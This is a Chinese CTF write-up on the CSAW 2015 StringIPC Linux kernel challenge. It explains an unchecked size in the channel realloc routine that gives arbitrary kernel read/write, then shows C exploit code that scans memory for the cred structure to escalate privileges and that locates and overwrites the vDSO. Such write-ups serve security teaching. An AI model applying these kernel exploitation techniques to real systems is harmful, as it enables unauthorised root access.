linux kernal pwn CSAW-2015-StringIPC

init脚本

qemu-system-x86_64 \
-m 256M \
-kernel ./arch/x86_64/boot/bzImage \
-initrd  ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet" \
-cpu qemu64,+smep,+smap \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-gdb tcp::1234 -S \
-nographic  -enable-kvm  \

开了smep smap

在这里插入图片描述
保护长这样
开了canary

直接分析stringipc.ko文件

先来看三个比较重要的结构体
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述就是申请channel

在这里插入图片描述
找到channel释放掉

在这里插入图片描述
看得出来是realloc

在这里插入图片描述
漏洞也在这里
没有对size检查

传入-1导致返回地址是0x10
然后size是-1导致可以写任意大小
导致我们可以任意写

利用方式也是有几种
首先是劫持cred结构体
就像2017 ciscn babydriver一样
我们劫持cred结构体之后就能实现提权

劫持cred结构体的核心是我们得先找到他
我们这里用的思想是

核心代码
这来自ha1vk大佬

    //通过prctl给当前进程的task结构设置一个标记,方便我们在内存中搜索时可以作为依据
    char *buf = (char *)calloc(1,0x1000);
    char target[16];
    strcpy(target,"abcdefghijklmn");
    prctl(PR_SET_NAME,target);
    initFD();
    int id = alloc_channel(0x100);
    shrink_channel(id,0x101);
    size_t cred_addr = -1;
    //task和cred结构的范围在0xffff880000000000~0xffffc80000000000
    for (size_t addr=0xffff880000000000;addr < 0xffffc80000000000;addr += 0x1000) {
        arbitrary_read(id,buf,addr,0x1000);
        //搜索当前读出的数据里是否有我们的标记
        size_t tag_ptr = memmem(buf, 0x1000,target,16);
        if (tag_ptr) {
            cred_addr = *(size_t *)(tag_ptr - 0x8);
            size_t real_cred_addr = *(size_t *)(tag_ptr - 0x10);
            if ((cred_addr & 0xff00000000000000) && cred_addr == real_cred_addr) {
                printf("[+] found cred_ptr at 0x%lx\n",addr + tag_ptr - (size_t)buf);
                printf("[+] cred_addr at 0x%lx\n",cred_addr);
                break;
         }
      }
   }

第二种方式是劫持vdso

一个道理
首先是找到vdso
这个利用的是gettimeofday里面的字符串

int get_gettimeofday_str_offset() {
    size_t vdso_addr = getauxval(AT_SYSINFO_EHDR);
    char* name = "gettimeofday";
    if (!vdso_addr){
        printf("[-]error get name's offset");
        return 0;
    }
    size_t name_addr = memmem(vdso_addr, 0x1000, name, strlen(name));
    if (name_addr < 0) {
        printf("[-]error get name's offset");
        return 0;
    }
    return name_addr - vdso_addr;
}

int main()
{
    char *buf = (char *)calloc(1,0x1000);
    char shellcode[]="";
    initFD();
    //构造漏洞
    int id = alloc_channel(0x100);
    if(id == -1){
        printf("[*]alloc error\n");
        exit(-1);
    }
    shrink_channel(id,0x101);
    size_t vdso_addr = -1;
    int gettimeofday_off = get_gettimeofday_str_offset();
    printf("[*]start searching...\n");
    for(size_t addr=0xffff880000000000;addr < 0xffffc80000000000;addr += 0x1000)
    {
        arbitrary_read(id,buf,addr,0x1000);
        if(!strcmp(buf+gettimeofday_off,"gettimeofday")){
            printf("[*]find vdso\n");
            vdso_addr = addr;
            printf("[*]vdso_addr:%lx\n",vdso_addr);
            break;
        }
    }
    size_t gettimeofday = vdso_addr + 0xcb0;
    arbitrary_write(id,shellcode,gettimeofday,strlen(shellcode));
    return 0;
}

然后改掉里面的函数
调一下

但是这法子没啥用了
能劫持vdso的核心就是vdso在内核状态下是可写的
然后2.x版本开始内核状态不能写了

第三种方法就是劫持prctl
这我们会在强网杯2018solid_core中仔细研究

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值